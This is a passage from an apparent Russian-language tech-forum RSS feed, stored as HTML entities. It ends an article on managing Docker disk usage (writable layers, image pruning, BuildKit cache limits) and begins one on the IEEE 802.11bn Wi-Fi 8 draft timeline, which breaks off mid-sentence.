&#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x432;&#x430;&#x440;&#x438;&#x430;&#x43D;&#x442; down -v. 


&#x41E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x430;&#x44F; &#x441;&#x442;&#x430;&#x442;&#x44C;&#x44F; &#x440;&#x430;&#x441;&#x445;&#x43E;&#x434;&#x430; &#x2014; writable-&#x441;&#x43B;&#x43E;&#x439; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x439;&#x43D;&#x435;&#x440;&#x430;. &#x41A;&#x43E;&#x433;&#x434;&#x430; &#x43F;&#x440;&#x438;&#x43B;&#x43E;&#x436;&#x435;&#x43D;&#x438;&#x435; &#x441;&#x43A;&#x43B;&#x430;&#x434;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x43A;&#x44D;&#x448; &#x438;&#x43B;&#x438; &#x43F;&#x43E;&#x43B;&#x44C;&#x437;&#x43E;&#x432;&#x430;&#x442;&#x435;&#x43B;&#x44C;&#x441;&#x43A;&#x438;&#x435; &#x437;&#x430;&#x433;&#x440;&#x443;&#x437;&#x43A;&#x438; &#x432;&#x43D;&#x443;&#x442;&#x440;&#x44C; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x439;&#x43D;&#x435;&#x440;&#x430; &#x432;&#x43C;&#x435;&#x441;&#x442;&#x43E; &#x442;&#x43E;&#x43C;&#x430;, &#x43A;&#x430;&#x442;&#x430;&#x43B;&#x43E;&#x433; overlay2 &#x43F;&#x443;&#x445;&#x43D;&#x435;&#x442; &#x431;&#x435;&#x437; &#x432;&#x441;&#x44F;&#x43A;&#x438;&#x445; &#x432;&#x43D;&#x435;&#x448;&#x43D;&#x438;&#x445; &#x43F;&#x440;&#x438;&#x437;&#x43D;&#x430;&#x43A;&#x43E;&#x432;. &#x41F;&#x43E;&#x43A;&#x430;&#x437;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x44D;&#x442;&#x43E; &#x441;&#x43B;&#x435;&#x434;&#x443;&#x44E;&#x449;&#x430;&#x44F; &#x43A;&#x43E;&#x43C;&#x430;&#x43D;&#x434;&#x430;: 

docker ps -s

&#x41F;&#x435;&#x440;&#x432;&#x430;&#x44F; &#x432;&#x435;&#x43B;&#x438;&#x447;&#x438;&#x43D;&#x430; &#x432; &#x43A;&#x43E;&#x43B;&#x43E;&#x43D;&#x43A;&#x435; SIZE &#x43E;&#x442;&#x43D;&#x43E;&#x441;&#x438;&#x442;&#x441;&#x44F; &#x43A; writable-&#x441;&#x43B;&#x43E;&#x44E;, &#x437;&#x43D;&#x430;&#x447;&#x435;&#x43D;&#x438;&#x435; virtual &#x432; &#x441;&#x43A;&#x43E;&#x431;&#x43A;&#x430;&#x445; &#x432;&#x43A;&#x43B;&#x44E;&#x447;&#x430;&#x435;&#x442; &#x435;&#x449;&#x451; &#x438; read-only &#x441;&#x43B;&#x43E;&#x438; &#x43E;&#x431;&#x440;&#x430;&#x437;&#x430;. &#x413;&#x438;&#x433;&#x430;&#x431;&#x430;&#x439;&#x442;&#x44B; &#x432; writable-&#x441;&#x43B;&#x43E;&#x435; &#x2014; &#x43F;&#x440;&#x438;&#x437;&#x43D;&#x430;&#x43A; &#x43D;&#x435; &#x43F;&#x440;&#x43E;&#x431;&#x43B;&#x435;&#x43C;&#x44B; &#x434;&#x43E;&#x43A;&#x435;&#x440;&#x430;, &#x430; &#x437;&#x430;&#x431;&#x44B;&#x442;&#x43E;&#x433;&#x43E; &#x442;&#x43E;&#x43C;&#x430; &#x434;&#x43B;&#x44F; &#x43A;&#x43E;&#x43D;&#x43A;&#x440;&#x435;&#x442;&#x43D;&#x43E;&#x433;&#x43E; &#x43A;&#x430;&#x442;&#x430;&#x43B;&#x43E;&#x433;&#x430;. &#x41A;&#x43E;&#x433;&#x434;&#x430; &#x432;&#x441;&#x451; &#x43F;&#x435;&#x440;&#x435;&#x447;&#x438;&#x441;&#x43B;&#x435;&#x43D;&#x43D;&#x43E;&#x435; &#x443;&#x436;&#x435; &#x441;&#x434;&#x435;&#x43B;&#x430;&#x43D;&#x43E;, &#x430; &#x43C;&#x435;&#x441;&#x442;&#x430; &#x43F;&#x43E;-&#x43F;&#x440;&#x435;&#x436;&#x43D;&#x435;&#x43C;&#x443; &#x43C;&#x430;&#x43B;&#x43E;, &#x43E;&#x441;&#x442;&#x430;&#x44E;&#x442;&#x441;&#x44F; &#x43E;&#x431;&#x440;&#x430;&#x437;&#x44B;: docker system prune -a &#x441;&#x43D;&#x438;&#x43C;&#x435;&#x442; &#x43D;&#x435; &#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; dangling, &#x43D;&#x43E; &#x438; &#x432;&#x441;&#x435;, &#x43D;&#x430; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x435; &#x43D;&#x435; &#x441;&#x441;&#x44B;&#x43B;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43D;&#x438; &#x43E;&#x434;&#x438;&#x43D; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x439;&#x43D;&#x435;&#x440;. 

&#x41A;&#x44D;&#x448; &#x441;&#x431;&#x43E;&#x440;&#x43A;&#x438; &#x438; &#x435;&#x433;&#x43E; &#x441;&#x43E;&#x431;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x44B;&#x439; &#x441;&#x431;&#x43E;&#x440;&#x449;&#x438;&#x43A; &#x43C;&#x443;&#x441;&#x43E;&#x440;&#x430;

&#x412;&#x442;&#x43E;&#x440;&#x43E;&#x435; &#x43C;&#x435;&#x441;&#x442;&#x43E; &#x43F;&#x43E; &#x43E;&#x431;&#x44A;&#x451;&#x43C;&#x443; &#x43F;&#x43E;&#x447;&#x442;&#x438; &#x432;&#x441;&#x435;&#x433;&#x434;&#x430; &#x437;&#x430;&#x43D;&#x438;&#x43C;&#x430;&#x435;&#x442; &#x43A;&#x44D;&#x448; BuildKit &#x2014; &#x43F;&#x440;&#x438; &#x443;&#x441;&#x43B;&#x43E;&#x432;&#x438;&#x438;, &#x447;&#x442;&#x43E; &#x43D;&#x430; &#x445;&#x43E;&#x441;&#x442;&#x435; &#x447;&#x442;&#x43E;-&#x43D;&#x438;&#x431;&#x443;&#x434;&#x44C; &#x441;&#x43E;&#x431;&#x438;&#x440;&#x430;&#x435;&#x442;&#x441;&#x44F;: CI-&#x440;&#x430;&#x43D;&#x43D;&#x435;&#x440;, docker compose build. &#x428;&#x442;&#x430;&#x442;&#x43D;&#x430;&#x44F; &#x443;&#x431;&#x43E;&#x440;&#x43A;&#x430; &#x435;&#x433;&#x43E; &#x437;&#x430;&#x442;&#x440;&#x430;&#x433;&#x438;&#x432;&#x430;&#x435;&#x442;, &#x43D;&#x43E; &#x43B;&#x438;&#x448;&#x44C; &#x432; &#x43D;&#x435;&#x438;&#x441;&#x43F;&#x43E;&#x43B;&#x44C;&#x437;&#x443;&#x435;&#x43C;&#x43E;&#x439; &#x447;&#x430;&#x441;&#x442;&#x438;. &#x423;&#x43F;&#x440;&#x430;&#x432;&#x43B;&#x44F;&#x442;&#x44C; &#x43F;&#x43E; &#x432;&#x43E;&#x437;&#x440;&#x430;&#x441;&#x442;&#x443; &#x43F;&#x43E;&#x437;&#x432;&#x43E;&#x43B;&#x44F;&#x435;&#x442; &#x43E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x430;&#x44F; &#x43A;&#x43E;&#x43C;&#x430;&#x43D;&#x434;&#x430;: 

docker buildx prune --filter until=72h

&#x417;&#x430; &#x430;&#x432;&#x442;&#x43E;&#x43C;&#x430;&#x442;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x443;&#x44E; &#x447;&#x438;&#x441;&#x442;&#x43A;&#x443; &#x43E;&#x442;&#x432;&#x435;&#x447;&#x430;&#x435;&#x442; &#x441;&#x435;&#x43A;&#x446;&#x438;&#x44F; builder.gc &#x432;&#x441;&#x451; &#x442;&#x43E;&#x433;&#x43E; &#x436;&#x435; daemon.json. &#x414;&#x43E;&#x43A;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x430;&#x446;&#x438;&#x44F; &#x43F;&#x435;&#x440;&#x435;&#x447;&#x438;&#x441;&#x43B;&#x44F;&#x435;&#x442; &#x447;&#x435;&#x442;&#x44B;&#x440;&#x435; &#x43F;&#x43E;&#x43B;&#x438;&#x442;&#x438;&#x43A;&#x438; &#x43F;&#x43E; &#x443;&#x43C;&#x43E;&#x43B;&#x447;&#x430;&#x43D;&#x438;&#x44E;: &#x44D;&#x444;&#x435;&#x43C;&#x435;&#x440;&#x43D;&#x44B;&#x439; &#x43A;&#x44D;&#x448; &#x432;&#x44B;&#x447;&#x438;&#x449;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x441;&#x43F;&#x443;&#x441;&#x442;&#x44F; 48 &#x447;&#x430;&#x441;&#x43E;&#x432;, &#x43B;&#x44E;&#x431;&#x43E;&#x439; &#x43D;&#x435;&#x438;&#x441;&#x43F;&#x43E;&#x43B;&#x44C;&#x437;&#x443;&#x435;&#x43C;&#x44B;&#x439; &#x2014; &#x441;&#x43F;&#x443;&#x441;&#x442;&#x44F; 60 &#x434;&#x43D;&#x435;&#x439;, &#x430; &#x432;&#x435;&#x440;&#x445;&#x43D;&#x44E;&#x44E; &#x433;&#x440;&#x430;&#x43D;&#x438;&#x446;&#x443; &#x437;&#x430;&#x434;&#x430;&#x451;&#x442; defaultKeepStorage (&#x432; &#x441;&#x43B;&#x443;&#x447;&#x430;&#x435; Docker Desktop &#x44D;&#x442;&#x43E; &#x440;&#x430;&#x437;&#x432;&#x43E;&#x440;&#x430;&#x447;&#x438;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x432; 20 &#x413;&#x411;). &#x421;&#x435;&#x440;&#x432;&#x435;&#x440;&#x43D;&#x43E;&#x433;&#x43E; &#x437;&#x43D;&#x430;&#x447;&#x435;&#x43D;&#x438;&#x44F; &#x43F;&#x43E; &#x443;&#x43C;&#x43E;&#x43B;&#x447;&#x430;&#x43D;&#x438;&#x44E; &#x434;&#x43E;&#x43A;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x430;&#x446;&#x438;&#x44F; &#x43D;&#x435; &#x43F;&#x440;&#x438;&#x432;&#x43E;&#x434;&#x438;&#x442;, &#x43F;&#x43E;&#x44D;&#x442;&#x43E;&#x43C;&#x443; &#x43B;&#x438;&#x43C;&#x438;&#x442; &#x438;&#x43C;&#x435;&#x435;&#x442; &#x441;&#x43C;&#x44B;&#x441;&#x43B; &#x432;&#x44B;&#x441;&#x442;&#x430;&#x432;&#x438;&#x442;&#x44C; &#x441;&#x430;&#x43C;&#x43E;&#x441;&#x442;&#x43E;&#x44F;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E;: &#x438;&#x43D;&#x430;&#x447;&#x435; &#x433;&#x440;&#x430;&#x43D;&#x438;&#x446;&#x435;&#x439; &#x434;&#x43B;&#x44F; &#x43A;&#x44D;&#x448;&#x430; &#x43E;&#x43A;&#x430;&#x436;&#x435;&#x442;&#x441;&#x44F; &#x43E;&#x431;&#x44A;&#x451;&#x43C; &#x434;&#x438;&#x441;&#x43A;&#x430;, &#x430; &#x43D;&#x435; &#x432;&#x44B;&#x431;&#x440;&#x430;&#x43D;&#x43D;&#x430;&#x44F; &#x432;&#x430;&#x43C;&#x438; &#x446;&#x438;&#x444;&#x440;&#x430;. 



&#x418;&#x441;&#x442;&#x43E;&#x447;&#x43D;&#x438;&#x43A;&#x438;


Configure logging drivers &#x2014; Docker Docs
JSON File logging driver &#x2014; Docker Docs
Local file logging driver &#x2014; Docker Docs
Prune unused Docker objects &#x2014; Docker Docs
Build cache garbage collection &#x2014; Docker Docs
docker system df &#x2014; Docker Docs


&#x1F4AC; &#x412;&#x43E;&#x43F;&#x440;&#x43E;&#x441; &#x43A; &#x441;&#x43E;&#x43E;&#x431;&#x449;&#x435;&#x441;&#x442;&#x432;&#x443; 
&#x41A;&#x442;&#x43E; &#x43E;&#x43A;&#x430;&#x437;&#x430;&#x43B;&#x441;&#x44F; &#x433;&#x43B;&#x430;&#x432;&#x43D;&#x44B;&#x43C; &#x43F;&#x43E;&#x442;&#x440;&#x435;&#x431;&#x438;&#x442;&#x435;&#x43B;&#x435;&#x43C; &#x43C;&#x435;&#x441;&#x442;&#x430; &#x43D;&#x430; &#x432;&#x430;&#x448;&#x435;&#x43C; &#x445;&#x43E;&#x441;&#x442;&#x435; &#x2014; &#x436;&#x443;&#x440;&#x43D;&#x430;&#x43B;&#x44B;, &#x43A;&#x44D;&#x448; &#x441;&#x431;&#x43E;&#x440;&#x43A;&#x438; &#x438;&#x43B;&#x438; &#x442;&#x43E;&#x43C;&#x430;, &#x43F;&#x440;&#x43E; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x435; &#x432;&#x441;&#x435; &#x437;&#x430;&#x431;&#x44B;&#x43B;&#x438;? &#x418; &#x43A;&#x430;&#x43A; &#x43F;&#x440;&#x43E;&#x448;&#x451;&#x43B; &#x43F;&#x435;&#x440;&#x435;&#x435;&#x437;&#x434; &#x43D;&#x430; &#x434;&#x440;&#x430;&#x439;&#x432;&#x435;&#x440; local, &#x435;&#x441;&#x43B;&#x438; &#x43E;&#x43D; &#x431;&#x44B;&#x43B;: &#x432;&#x43E;&#x437;&#x43D;&#x438;&#x43A;&#x430;&#x43B;&#x438; &#x43B;&#x438; &#x43A;&#x43E;&#x43D;&#x444;&#x43B;&#x438;&#x43A;&#x442;&#x44B; &#x441;&#x43E; &#x441;&#x431;&#x43E;&#x440;&#x449;&#x438;&#x43A;&#x430;&#x43C;&#x438; &#x43B;&#x43E;&#x433;&#x43E;&#x432;?</description><pubDate>Tue, 25 Aug 2026 08:09:53 +0000</pubDate></item><item><title>802.11bn &#x434;&#x43E;&#x448;&#x451;&#x43B; &#x434;&#x43E; D2.0: &#x43F;&#x43E;&#x43B;&#x43E;&#x432;&#x438;&#x43D;&#x430; &#x43E;&#x431;&#x435;&#x449;&#x430;&#x43D;&#x438;&#x439; Wi-Fi 8 &#x43D;&#x435; &#x432;&#x43A;&#x43B;&#x44E;&#x447;&#x438;&#x442;&#x441;&#x44F; &#x43D;&#x430; &#x43E;&#x434;&#x438;&#x43D;&#x43E;&#x43A;&#x43E;&#x43C; &#x440;&#x43E;&#x443;&#x442;&#x435;&#x440;&#x435;</title><link><![CDATA[https://openode.xyz/topic/2055-80211bn-%D0%B4%D0%BE%D1%88%D1%91%D0%BB-%D0%B4%D0%BE-d20-%D0%BF%D0%BE%D0%BB%D0%BE%D0%B2%D0%B8%D0%BD%D0%B0-%D0%BE%D0%B1%D0%B5%D1%89%D0%B0%D0%BD%D0%B8%D0%B9-wi-fi-8-%D0%BD%D0%B5-%D0%B2%D0%BA%D0%BB%D1%8E%D1%87%D0%B8%D1%82%D1%81%D1%8F-%D0%BD%D0%B0-%D0%BE%D0%B4%D0%B8%D0%BD%D0%BE%D0%BA%D0%BE%D0%BC-%D1%80%D0%BE%D1%83%D1%82%D0%B5%D1%80%D0%B5/?do=findComment&comment=9225]]></link><description>&#x41F;&#x438;&#x43A;&#x43E;&#x432;&#x430;&#x44F; &#x446;&#x438;&#x444;&#x440;&#x430; &#x432;&#x441;&#x442;&#x430;&#x43B;&#x430;, &#x430; &#x446;&#x435;&#x43B;&#x438; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x430; &#x437;&#x430;&#x43F;&#x438;&#x441;&#x430;&#x43D;&#x44B; &#x432; &#x43F;&#x440;&#x43E;&#x446;&#x435;&#x43D;&#x442;&#x430;&#x445; &#x43D;&#x430;&#x434;&#x451;&#x436;&#x43D;&#x43E;&#x441;&#x442;&#x438;

&#x41A;&#x430;&#x436;&#x434;&#x43E;&#x435; &#x43F;&#x440;&#x435;&#x434;&#x44B;&#x434;&#x443;&#x449;&#x435;&#x435; &#x43F;&#x43E;&#x43A;&#x43E;&#x43B;&#x435;&#x43D;&#x438;&#x435; Wi-Fi &#x43F;&#x440;&#x43E;&#x434;&#x430;&#x432;&#x430;&#x43B;&#x438; &#x43E;&#x434;&#x43D;&#x438;&#x43C; &#x447;&#x438;&#x441;&#x43B;&#x43E;&#x43C; &#x2014; &#x433;&#x438;&#x433;&#x430;&#x431;&#x438;&#x442;&#x430;&#x43C;&#x438; &#x432; &#x441;&#x435;&#x43A;&#x443;&#x43D;&#x434;&#x443;. &#x421; &#x432;&#x43E;&#x441;&#x44C;&#x43C;&#x44B;&#x43C; &#x44D;&#x442;&#x43E;&#x442; &#x43F;&#x440;&#x438;&#x451;&#x43C; &#x43D;&#x435; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x435;&#x442;: &#x441;&#x43F;&#x435;&#x446;&#x438;&#x444;&#x438;&#x43A;&#x430;&#x446;&#x438;&#x44F; &#x43D;&#x435; &#x434;&#x432;&#x438;&#x433;&#x430;&#x435;&#x442; &#x43D;&#x438; &#x448;&#x438;&#x440;&#x438;&#x43D;&#x443; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x430;, &#x43D;&#x438; &#x43C;&#x43E;&#x434;&#x443;&#x43B;&#x44F;&#x446;&#x438;&#x44E;, &#x43D;&#x438; &#x447;&#x438;&#x441;&#x43B;&#x43E; &#x43F;&#x43E;&#x442;&#x43E;&#x43A;&#x43E;&#x432;. &#x414;&#x438;&#x430;&#x43F;&#x430;&#x437;&#x43E;&#x43D;&#x43E;&#x432; &#x43F;&#x43E;-&#x43F;&#x440;&#x435;&#x436;&#x43D;&#x435;&#x43C;&#x443; &#x442;&#x440;&#x438;, &#x43C;&#x430;&#x43A;&#x441;&#x438;&#x43C;&#x443;&#x43C; &#x43F;&#x43E;-&#x43F;&#x440;&#x435;&#x436;&#x43D;&#x435;&#x43C;&#x443; 320 &#x41C;&#x413;&#x446;, &#x43C;&#x43E;&#x434;&#x443;&#x43B;&#x44F;&#x446;&#x438;&#x44F; &#x43F;&#x43E;-&#x43F;&#x440;&#x435;&#x436;&#x43D;&#x435;&#x43C;&#x443; 4096-QAM, &#x43F;&#x43E;&#x442;&#x43E;&#x43A;&#x43E;&#x432; &#x43F;&#x43E;-&#x43F;&#x440;&#x435;&#x436;&#x43D;&#x435;&#x43C;&#x443; &#x434;&#x43E; &#x432;&#x43E;&#x441;&#x44C;&#x43C;&#x438;, &#x43F;&#x43E;&#x442;&#x43E;&#x43B;&#x43E;&#x43A; &#x43F;&#x43E;-&#x43F;&#x440;&#x435;&#x436;&#x43D;&#x435;&#x43C;&#x443; &#x43E;&#x43A;&#x43E;&#x43B;&#x43E; 23 &#x413;&#x431;&#x438;&#x442;/&#x441; &#x2014; &#x440;&#x43E;&#x432;&#x43D;&#x43E; &#x43A;&#x430;&#x43A; &#x443; Wi-Fi 7. 

&#x41D;&#x430;&#x437;&#x432;&#x430;&#x43D;&#x438;&#x435; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x430; &#x432; IEEE &#x43E;&#x431;&#x44A;&#x44F;&#x441;&#x43D;&#x44F;&#x435;&#x442;, &#x43A;&#x443;&#x434;&#x430; &#x443;&#x448;&#x43B;&#x430; &#x438;&#x43D;&#x436;&#x435;&#x43D;&#x435;&#x440;&#x43D;&#x430;&#x44F; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;: 802.11bn Ultra High Reliability. &#x41D;&#x435; &#xAB;&#x431;&#x44B;&#x441;&#x442;&#x440;&#x435;&#x435;&#xBB;, &#x430; &#xAB;&#x43D;&#x430;&#x434;&#x451;&#x436;&#x43D;&#x435;&#x435;&#xBB;. &#x41D;&#x438;&#x436;&#x435; &#x2014; &#x447;&#x442;&#x43E; &#x440;&#x435;&#x430;&#x43B;&#x44C;&#x43D;&#x43E; &#x43B;&#x435;&#x436;&#x438;&#x442; &#x432; &#x442;&#x435;&#x43A;&#x443;&#x449;&#x435;&#x43C; &#x447;&#x435;&#x440;&#x43D;&#x43E;&#x432;&#x438;&#x43A;&#x435;, &#x447;&#x435;&#x433;&#x43E; &#x438;&#x437; &#x44D;&#x442;&#x43E;&#x433;&#x43E; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x436;&#x434;&#x430;&#x442;&#x44C; &#x432;&#x43B;&#x430;&#x434;&#x435;&#x43B;&#x44C;&#x446;&#x443; &#x43E;&#x434;&#x43D;&#x43E;&#x433;&#x43E; &#x440;&#x43E;&#x443;&#x442;&#x435;&#x440;&#x430; &#x438; &#x43A;&#x430;&#x43A; &#x43F;&#x440;&#x43E;&#x432;&#x435;&#x440;&#x438;&#x442;&#x44C; &#x441;&#x435;&#x433;&#x43E;&#x434;&#x43D;&#x44F;, &#x435;&#x441;&#x442;&#x44C; &#x43B;&#x438; &#x443; &#x432;&#x430;&#x441; &#x442;&#x430; &#x431;&#x43E;&#x43B;&#x435;&#x437;&#x43D;&#x44C;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x443;&#x44E; &#x441;&#x43E;&#x431;&#x438;&#x440;&#x430;&#x44E;&#x442;&#x441;&#x44F; &#x43B;&#x435;&#x447;&#x438;&#x442;&#x44C; &#x43A; 2028 &#x433;&#x43E;&#x434;&#x443;. 

&#x421;&#x442;&#x430;&#x434;&#x438;&#x44F; &#x433;&#x43E;&#x442;&#x43E;&#x432;&#x43D;&#x43E;&#x441;&#x442;&#x438;: D2.0 &#x438; &#x433;&#x440;&#x430;&#x444;&#x438;&#x43A;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x439; &#x443;&#x436;&#x435; &#x43F;&#x43E;&#x435;&#x445;&#x430;&#x43B;

&#x41E;&#x444;&#x438;&#x446;&#x438;&#x430;&#x43B;&#x44C;&#x43D;&#x430;&#x44F; &#x441;&#x442;&#x440;&#x430;&#x43D;&#x438;&#x446;&#x430; &#x442;&#x430;&#x439;&#x43C;&#x43B;&#x430;&#x439;&#x43D;&#x43E;&#x432; IEEE 802.11, &#x43E;&#x431;&#x43D;&#x43E;&#x432;&#x43B;&#x451;&#x43D;&#x43D;&#x430;&#x44F; 6 &#x430;&#x432;&#x433;&#x443;&#x441;&#x442;&#x430; 2026 &#x433;&#x43E;&#x434;&#x430;, &#x43F;&#x43E;&#x43A;&#x430;&#x437;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x443; &#x433;&#x440;&#x443;&#x43F;&#x43F;&#x44B; TGbn &#x447;&#x435;&#x440;&#x43D;&#x43E;&#x432;&#x438;&#x43A; &#x432;&#x435;&#x440;&#x441;&#x438;&#x438; D2.0. &#x41A;&#x430;&#x43A; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442; &#x434;&#x43E;&#x448;&#x451;&#x43B; &#x434;&#x43E; &#x44D;&#x442;&#x43E;&#x439; &#x442;&#x43E;&#x447;&#x43A;&#x438;: PAR &#x443;&#x442;&#x432;&#x435;&#x440;&#x434;&#x438;&#x43B;&#x438; &#x432; &#x438;&#x44E;&#x43B;&#x435; 2023-&#x433;&#x43E;, &#x440;&#x430;&#x431;&#x43E;&#x447;&#x430;&#x44F; &#x433;&#x440;&#x443;&#x43F;&#x43F;&#x430; &#x441;&#x43E;&#x431;&#x440;&#x430;&#x43B;&#x430;&#x441;&#x44C; &#x432;&#x43F;&#x435;&#x440;&#x432;&#x44B;&#x435; &#x432; &#x43D;&#x43E;&#x44F;&#x431;&#x440;&#x435; &#x442;&#x43E;&#x433;&#x43E; &#x436;&#x435; &#x433;&#x43E;&#x434;&#x430;. Letter ballot &#x43F;&#x43E; D1.0 &#x441;&#x442;&#x43E;&#x44F;&#x43B; &#x432; &#x43F;&#x43B;&#x430;&#x43D;&#x435; &#x43D;&#x430; &#x43C;&#x430;&#x439; 2025-&#x433;&#x43E; &#x2014; &#x441;&#x43E;&#x441;&#x442;&#x43E;&#x44F;&#x43B;&#x441;&#x44F; &#x432; &#x438;&#x44E;&#x43B;&#x435;. Ballot &#x43F;&#x43E; D2.0 &#x43F;&#x43B;&#x430;&#x43D;&#x438;&#x440;&#x43E;&#x432;&#x430;&#x43B;&#x438; &#x43D;&#x430; &#x43C;&#x430;&#x439; 2026-&#x433;&#x43E; &#x2014; &#x43E;&#x43D; &#x442;&#x43E;&#x436;&#x435; &#x441;&#x43C;&#x435;&#x441;&#x442;&#x438;&#x43B;&#x441;&#x44F; &#x43D;&#x430; &#x438;&#x44E;&#x43B;&#x44C;. &#x414;&#x432;&#x430; &#x43F;&#x435;&#x440;&#x435;&#x43D;&#x43E;&#x441;&#x430; &#x43F;&#x440;&#x438;&#x43C;&#x435;&#x440;&#x43D;&#x43E; &#x43F;&#x43E; &#x434;&#x432;&#x430; &#x43C;&#x435;&#x441;&#x44F;&#x446;&#x430; &#x43A;&#x430;&#x436;&#x434;&#x44B;&#x439;. 

&#x427;&#x442;&#x43E; &#x43E;&#x441;&#x442;&#x430;&#x43B;&#x43E;&#x441;&#x44C; &#x432;&#x43F;&#x435;&#x440;&#x435;&#x434;&#x438;: D3.0 &#x43D;&#x430;&#x43C;&#x435;&#x447;&#x435;&#x43D; &#x43D;&#x430; &#x44F;&#x43D;&#x432;&#x430;&#x440;&#x44C; 2027-&#x433;&#x43E;, &#x43F;&#x435;&#x440;&#x432;&#x44B;&#x439; SA-&#x431;&#x430;&#x43B;&#x43B;&#x43E;&#x442; &#x2014; &#x43D;&#x430; &#x43C;&#x430;&#x439; 2027-&#x433;&#x43E;, &#x43E;&#x434;&#x43E;&#x431;&#x440;&#x435;&#x43D;&#x438;&#x435; &#x440;&#x430;&#x431;&#x43E;&#x447;&#x435;&#x439; &#x433;&#x440;&#x443;&#x43F;&#x43F;&#x43E;&#x439; &#x438; 802 EC &#x2014; &#x43D;&#x430; &#x43C;&#x430;&#x440;&#x442; 2028-&#x433;&#x43E;, RevCom &#x438; SASB &#x2014; &#x43D;&#x430; &#x43C;&#x430;&#x439;. &#x41E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x430;&#x44F; &#x438;&#x441;&#x442;&#x43E;&#x440;&#x438;&#x44F; &#x441; &#x441;&#x435;&#x440;&#x442;&#x438;&#x444;&#x438;&#x43A;&#x430;&#x446;&#x438;&#x435;&#x439; Wi-Fi Alliance: &#x443; Samsung Research &#x444;&#x438;&#x433;&#x443;&#x440;&#x438;&#x440;&#x443;&#x435;&#x442; &#x434;&#x435;&#x43A;&#x430;&#x431;&#x440;&#x44C; 2027 &#x433;&#x43E;&#x434;&#x430;, &#x443; &#x43E;&#x442;&#x440;&#x430;&#x441;&#x43B;&#x435;&#x432;&#x43E;&#x433;&#x43E; Wi-Fi NOW &#x2014; CES 2028. 

&#x41E;&#x431;&#x435;&#x449;&#x430;&#x43D;&#x438;&#x44F; &#x441;&#x444;&#x43E;&#x440;&#x43C;&#x443;&#x43B;&#x438;&#x440;&#x43E;&#x432;&#x430;&#x43D;&#x44B; &#x432; &#x43F;&#x440;&#x43E;&#x446;&#x435;&#x43D;&#x442;&#x430;&#x445;, &#x430; &#x43D;&#x435; &#x432; &#x433;&#x438;&#x433;&#x430;&#x431;&#x438;&#x442;&#x430;&#x445;

&#x417;&#x430;&#x44F;&#x432;&#x43A;&#x430; &#x43D;&#x430; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442; (PAR) &#x441;&#x43E;&#x434;&#x435;&#x440;&#x436;&#x438;&#x442; &#x442;&#x440;&#x438; &#x438;&#x437;&#x43C;&#x435;&#x440;&#x438;&#x43C;&#x44B;&#x445; &#x43E;&#x431;&#x44F;&#x437;&#x430;&#x442;&#x435;&#x43B;&#x44C;&#x441;&#x442;&#x432;&#x430; &#x43F;&#x43E; &#x43E;&#x442;&#x43D;&#x43E;&#x448;&#x435;&#x43D;&#x438;&#x44E; &#x43A; 802.11be. &#x41F;&#x435;&#x440;&#x432;&#x43E;&#x435;: &#x43F;&#x440;&#x43E;&#x43F;&#x443;&#x441;&#x43A;&#x43D;&#x430;&#x44F; &#x441;&#x43F;&#x43E;&#x441;&#x43E;&#x431;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x432; &#x442;&#x44F;&#x436;&#x451;&#x43B;&#x44B;&#x445; &#x443;&#x441;&#x43B;&#x43E;&#x432;&#x438;&#x44F;&#x445; &#x441;&#x438;&#x433;&#x43D;&#x430;&#x43B;&#x430; &#x434;&#x43E;&#x43B;&#x436;&#x43D;&#x430; &#x432;&#x44B;&#x440;&#x430;&#x441;&#x442;&#x438; &#x43C;&#x438;&#x43D;&#x438;&#x43C;&#x443;&#x43C; &#x43D;&#x430; 25 % &#x43F;&#x440;&#x438; &#x43D;&#x435;&#x438;&#x437;&#x43C;&#x435;&#x43D;&#x43D;&#x43E;&#x43C; &#x43E;&#x442;&#x43D;&#x43E;&#x448;&#x435;&#x43D;&#x438;&#x438; &#x441;&#x438;&#x433;&#x43D;&#x430;&#x43B;/(&#x43F;&#x43E;&#x43C;&#x435;&#x445;&#x430;+&#x448;&#x443;&#x43C;). &#x412;&#x442;&#x43E;&#x440;&#x43E;&#x435;: &#x437;&#x430;&#x434;&#x435;&#x440;&#x436;&#x43A;&#x430; &#x432; 95-&#x43C; &#x43F;&#x435;&#x440;&#x446;&#x435;&#x43D;&#x442;&#x438;&#x43B;&#x435; &#x440;&#x430;&#x441;&#x43F;&#x440;&#x435;&#x434;&#x435;&#x43B;&#x435;&#x43D;&#x438;&#x44F; &#x434;&#x43E;&#x43B;&#x436;&#x43D;&#x430; &#x443;&#x43F;&#x430;&#x441;&#x442;&#x44C; &#x43D;&#x430; 25 %. &#x422;&#x440;&#x435;&#x442;&#x44C;&#x435;: &#x43A;&#x43E;&#x43B;&#x438;&#x447;&#x435;&#x441;&#x442;&#x432;&#x43E; 